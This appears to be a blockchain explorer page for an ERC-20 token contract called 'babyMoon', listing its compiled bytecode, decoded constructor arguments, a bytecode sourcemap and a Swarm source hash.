4529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6106f98484610549565b90505f19811461076057818110156107535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610518565b61076084848484036105cb565b50505050565b6001600160a01b0383166107ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610518565b6001600160a01b03821661082c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610518565b6001600160a01b0383165f90815260208190526040902054818110156108a35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610518565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610760565b5f6020808352835180828501525f5b8181101561093357858101830151858201604001528201610917565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610969575f80fd5b919050565b5f806040838503121561097f575f80fd5b61098883610953565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156109d3576109d3610996565b604052919050565b5f67ffffffffffffffff8211156109f4576109f4610996565b5060051b60200190565b5f82601f830112610a0d575f80fd5b81356020610a22610a1d836109db565b6109aa565b82815260059290921b84018101918181019086841115610a40575f80fd5b8286015b84811015610a5b5780358352918301918301610a44565b509695505050505050565b5f805f805f60a08688031215610a7a575f80fd5b610a8386610953565b945060208087013567ffffffffffffffff80821115610aa0575f80fd5b818901915089601f830112610ab3575f80fd5b8135610ac1610a1d826109db565b81815260059190911b8301840190848101908c831115610adf575f80fd5b938501935b82851015610b0457610af585610953565b82529385019390850190610ae4565b985050506040890135925080831115610b1b575f80fd5b610b278a848b016109fe565b95506060890135925080831115610b3c575f80fd5b5050610b4a888289016109fe565b925050610b5960808701610953565b90509295509295909350565b5f805f60608486031215610b77575f80fd5b610b8084610953565b9250610b8e60208501610953565b9150604084013590509250925092565b5f60208284031215610bae575f80fd5b610bb782610953565b9392505050565b5f8060408385031215610bcf575f80fd5b610bd883610953565b9150610be660208401610953565b90509250929050565b600181811c90821680610c0357607f821691505b602082108103610c2157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610c4b575f80fd5b81518015158114610bb7575f80fd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610c7f57610c7f610c5a565b5060010190565b808201808211156102ef576102ef610c5a56fea2646970667358221220ee47c88f154c35cd4b12b7e3503157e697e54f705417a992c31966b089d44f0564736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000008626162794d6f6f6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008626162794d6f6f6e000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): babyMoon
Arg [1] : symbol_ (string): babyMoon
Arg [2] : initialBalance_ (uint256): 1000000000000000000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 626162794d6f6f6e000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [6] : 626162794d6f6f6e000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

19695:433:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6975:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9326:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;9326:201:0;1004:187:1;8095:108:0;8183:12;;8095:108;;;1342:25:1;;;1330:2;1315:18;8095:108:0;1196:177:1;18329:398:0;;;;;;:::i;:::-;;:::i;10107:295::-;;;;;;:::i;:::-;;:::i;7937:93::-;;;8020:2;4645:36:1;;4633:2;4618:18;7937:93:0;4503:184:1;10811:238:0;;;;;;:::i;:::-;;:::i;8266:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8367:18:0;8340:7;8367:18;;;;;;;;;;;;8266:127;19366:95;19443:10;;;;;;;;;;;;;;;;;;19366:95;;7194:104;;;:::i;11552:436::-;;;;;;:::i;:::-;;:::i;8599:193::-;;;;;;:::i;:::-;;:::i;20045:80::-;;;:::i;8855:151::-;;;;;;:::i;:::-;;:::i;18165:156::-;;;;;;:::i;:::-;;:::i;6975:100::-;7029:13;7062:5;7055:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6975:100;:::o;9326:201::-;9409:4;4699:10;9465:32;4699:10;9481:7;9490:6;9465:8;:32::i;:::-;9515:4;9508:11;;;9326:201;;;;;:::o;18329:398::-;18478:4;;18494:204;18518:9;:16;18514:1;:20;18494:204;;;18577:9;18587:1;18577:12;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;18561:42:0;18570:5;-1:-1:-1;;;;;18561:42:0;;18591:8;18600:1;18591:11;;;;;;;;:::i;:::-;;;;;;;18561:42;;;;1342:25:1;;1330:2;1315:18;;1196:177;18561:42:0;;;;;;;;18625:12;-1:-1:-1;;;;;18618:30:0;;18649:9;18659:1;18649:12;;;;;;;;:::i;:::-;;;;;;;18662:5;18669:9;18679:1;18669:12;;;;;;;;:::i;:::-;;;;;;;;;;;18618:64;;-1:-1:-1;;;;;;18618:64:0;;;;;;;-1:-1:-1;;;;;5923:15:1;;;18618:64:0;;;5905:34:1;5975:15;;;;5955:18;;;5948:43;6007:18;;;6000:34;5840:18;;18618:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;18536:3:0;;;;:::i;:::-;;;;18494:204;;;-1:-1:-1;18715:4:0;;18329:398;-1:-1:-1;;;;;;18329:398:0:o;10107:295::-;10238:4;4699:10;10296:38;10312:4;4699:10;10327:6;10296:15;:38::i;:::-;10345:27;10355:4;10361:2;10365:6;10345:9;:27::i;:::-;-1:-1:-1;10390:4:0;;10107:295;-1:-1:-1;;;;10107:295:0:o;10811:238::-;10899:4;4699:10;10955:64;4699:10;10971:7;11008:10;10980:25;4699:10;10971:7;10980:9;:25::i;:::-;:38;;;;:::i;:::-;10955:8;:64::i;7194:104::-;7250:13;7283:7;7276:14;;;;;:::i;11552:436::-;11645:4;4699:10;11645:4;11728:25;4699:10;11745:7;11728:9;:25::i;:::-;11701:52;;11792:15;11772:16;:35;;11764:85;;;;-1:-1:-1;;;11764:85:0;;6931:2:1;11764:85:0;;;6913:21:1;6970:2;6950:18;;;6943:30;7009:34;6989:18;;;6982:62;-1:-1:-1;;;7060:18:1;;;7053:35;7105:19;;11764:85:0;;;;;;;;;11885:60;11894:5;11901:7;11929:15;11910:16;:34;11885:8;:60::i;8599:193::-;8678:4;4699:10;8734:28;4699:10;8751:2;8755:6;8734:9;:28::i;20045:80::-;20085:4;20109:8;:6;:8::i;:::-;20102:15;;20045:80;:::o;8855:151::-;-1:-1:-1;;;;;8971:18:0;;;8944:7;8971:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8855:151::o;18165:156::-;18241:4;18279:3;-1:-1:-1;;;;;18263:28:0;18272:5;-1:-1:-1;;;;;18263:28:0;;18284:6;18263:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;18263:28:0;;;;;;;;-1:-1:-1;18309:4:0;18165:156;;;;;:::o;15579:380::-;-1:-1:-1;;;;;15715:19:0;;15707:68;;;;-1:-1:-1;;;15707:68:0;;7337:2:1;15707:68:0;;;7319:21:1;7376:2;7356:18;;;7349:30;7415:34;7395:18;;;7388:62;-1:-1:-1;;;7466:18:1;;;7459:34;7510:19;;15707:68:0;7135:400:1;15707:68:0;-1:-1:-1;;;;;15794:21:0;;15786:68;;;;-1:-1:-1;;;15786:68:0;;7742:2:1;15786:68:0;;;7724:21:1;7781:2;7761:18;;;7754:30;7820:34;7800:18;;;7793:62;-1:-1:-1;;;7871:18:1;;;7864:32;7913:19;;15786:68:0;7540:398:1;15786:68:0;-1:-1:-1;;;;;15867:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15919:32;;1342:25:1;;;15919:32:0;;1315:18:1;15919:32:0;;;;;;;15579:380;;;:::o;16250:453::-;16385:24;16412:25;16422:5;16429:7;16412:9;:25::i;:::-;16385:52;;-1:-1:-1;;16452:16:0;:37;16448:248;;16534:6;16514:16;:26;;16506:68;;;;-1:-1:-1;;;16506:68:0;;8145:2:1;16506:68:0;;;8127:21:1;8184:2;8164:18;;;8157:30;8223:31;8203:18;;;8196:59;8272:18;;16506:68:0;7943:353:1;16506:68:0;16618:51;16627:5;16634:7;16662:6;16643:16;:25;16618:8;:51::i;:::-;16374:329;16250:453;;;:::o;12458:840::-;-1:-1:-1;;;;;12589:18:0;;12581:68;;;;-1:-1:-1;;;12581:68:0;;8503:2:1;12581:68:0;;;8485:21:1;8542:2;8522:18;;;8515:30;8581:34;8561:18;;;8554:62;-1:-1:-1;;;8632:18:1;;;8625:35;8677:19;;12581:68:0;8301:401:1;12581:68:0;-1:-1:-1;;;;;12668:16:0;;12660:64;;;;-1:-1:-1;;;12660:64:0;;8909:2:1;12660:64:0;;;8891:21:1;8948:2;8928:18;;;8921:30;8987:34;8967:18;;;8960:62;-1:-1:-1;;;9038:18:1;;;9031:33;9081:19;;12660:64:0;8707:399:1;12660:64:0;-1:-1:-1;;;;;12810:15:0;;12788:19;12810:15;;;;;;;;;;;12844:21;;;;12836:72;;;;-1:-1:-1;;;12836:72:0;;9313:2:1;12836:72:0;;;9295:21:1;9352:2;9332:18;;;9325:30;9391:34;9371:18;;;9364:62;-1:-1:-1;;;9442:18:1;;;9435:36;9488:19;;12836:72:0;9111:402:1;12836:72:0;-1:-1:-1;;;;;12944:15:0;;;:9;:15;;;;;;;;;;;12962:20;;;12944:38;;13162:13;;;;;;;;;;:23;;;;;;13214:26;;1342:25:1;;;13162:13:0;;13214:26;;1315:18:1;13214:26:0;;;;;;;13253:37;17303:125;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:275;1581:2;1575:9;1646:2;1627:13;;-1:-1:-1;;1623:27:1;1611:40;;1681:18;1666:34;;1702:22;;;1663:62;1660:88;;;1728:18;;:::i;:::-;1764:2;1757:22;1510:275;;-1:-1:-1;1510:275:1:o;1790:183::-;1850:4;1883:18;1875:6;1872:30;1869:56;;;1905:18;;:::i;:::-;-1:-1:-1;1950:1:1;1946:14;1962:4;1942:25;;1790:183::o;1978:662::-;2032:5;2085:3;2078:4;2070:6;2066:17;2062:27;2052:55;;2103:1;2100;2093:12;2052:55;2139:6;2126:20;2165:4;2189:60;2205:43;2245:2;2205:43;:::i;:::-;2189:60;:::i;:::-;2283:15;;;2369:1;2365:10;;;;2353:23;;2349:32;;;2314:12;;;;2393:15;;;2390:35;;;2421:1;2418;2411:12;2390:35;2457:2;2449:6;2445:15;2469:142;2485:6;2480:3;2477:15;2469:142;;;2551:17;;2539:30;;2589:12;;;;2502;;2469:142;;;-1:-1:-1;2629:5:1;1978:662;-1:-1:-1;;;;;;1978:662:1:o;2645:1520::-;2815:6;2823;2831;2839;2847;2900:3;2888:9;2879:7;2875:23;2871:33;2868:53;;;2917:1;2914;2907:12;2868:53;2940:29;2959:9;2940:29;:::i;:::-;2930:39;;2988:2;3041;3030:9;3026:18;3013:32;3064:18;3105:2;3097:6;3094:14;3091:34;;;3121:1;3118;3111:12;3091:34;3159:6;3148:9;3144:22;3134:32;;3204:7;3197:4;3193:2;3189:13;3185:27;3175:55;;3226:1;3223;3216:12;3175:55;3262:2;3249:16;3285:60;3301:43;3341:2;3301:43;:::i;3285:60::-;3379:15;;;3461:1;3457:10;;;;3449:19;;3445:28;;;3410:12;;;;3485:19;;;3482:39;;;3517:1;3514;3507:12;3482:39;3541:11;;;;3561:148;3577:6;3572:3;3569:15;3561:148;;;3643:23;3662:3;3643:23;:::i;:::-;3631:36;;3594:12;;;;3687;;;;3561:148;;;3728:5;-1:-1:-1;;;3786:2:1;3771:18;;3758:32;;-1:-1:-1;3802:16:1;;;3799:36;;;3831:1;3828;3821:12;3799:36;3854:63;3909:7;3898:8;3887:9;3883:24;3854:63;:::i;:::-;3844:73;;3970:2;3959:9;3955:18;3942:32;3926:48;;3999:2;3989:8;3986:16;3983:36;;;4015:1;4012;4005:12;3983:36;;;4038:63;4093:7;4082:8;4071:9;4067:24;4038:63;:::i;:::-;4028:73;;;4120:39;4154:3;4143:9;4139:19;4120:39;:::i;:::-;4110:49;;2645:1520;;;;;;;;:::o;4170:328::-;4247:6;4255;4263;4316:2;4304:9;4295:7;4291:23;4287:32;4284:52;;;4332:1;4329;4322:12;4284:52;4355:29;4374:9;4355:29;:::i;:::-;4345:39;;4403:38;4437:2;4426:9;4422:18;4403:38;:::i;:::-;4393:48;;4488:2;4477:9;4473:18;4460:32;4450:42;;4170:328;;;;;:::o;4692:186::-;4751:6;4804:2;4792:9;4783:7;4779:23;4775:32;4772:52;;;4820:1;4817;4810:12;4772:52;4843:29;4862:9;4843:29;:::i;:::-;4833:39;4692:186;-1:-1:-1;;;4692:186:1:o;4883:260::-;4951:6;4959;5012:2;5000:9;4991:7;4987:23;4983:32;4980:52;;;5028:1;5025;5018:12;4980:52;5051:29;5070:9;5051:29;:::i;:::-;5041:39;;5099:38;5133:2;5122:9;5118:18;5099:38;:::i;:::-;5089:48;;4883:260;;;;;:::o;5148:380::-;5227:1;5223:12;;;;5270;;;5291:61;;5345:4;5337:6;5333:17;5323:27;;5291:61;5398:2;5390:6;5387:14;5367:18;5364:38;5361:161;;5444:10;5439:3;5435:20;5432:1;5425:31;5479:4;5476:1;5469:15;5507:4;5504:1;5497:15;5361:161;;5148:380;;;:::o;5533:127::-;5594:10;5589:3;5585:20;5582:1;5575:31;5625:4;5622:1;5615:15;5649:4;5646:1;5639:15;6045:277;6112:6;6165:2;6153:9;6144:7;6140:23;6136:32;6133:52;;;6181:1;6178;6171:12;6133:52;6213:9;6207:16;6266:5;6259:13;6252:21;6245:5;6242:32;6232:60;;6288:1;6285;6278:12;6327:127;6388:10;6383:3;6379:20;6376:1;6369:31;6419:4;6416:1;6409:15;6443:4;6440:1;6433:15;6459:135;6498:3;6519:17;;;6516:43;;6539:18;;:::i;:::-;-1:-1:-1;6586:1:1;6575:13;;6459:135::o;6599:125::-;6664:9;;;6685:10;;;6682:36;;;6698:18;;:::i

Swarm Source

ipfs://ee47c88f154c35cd4b12b7e3503157e697e54f705417a992c31966b089d44f05
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.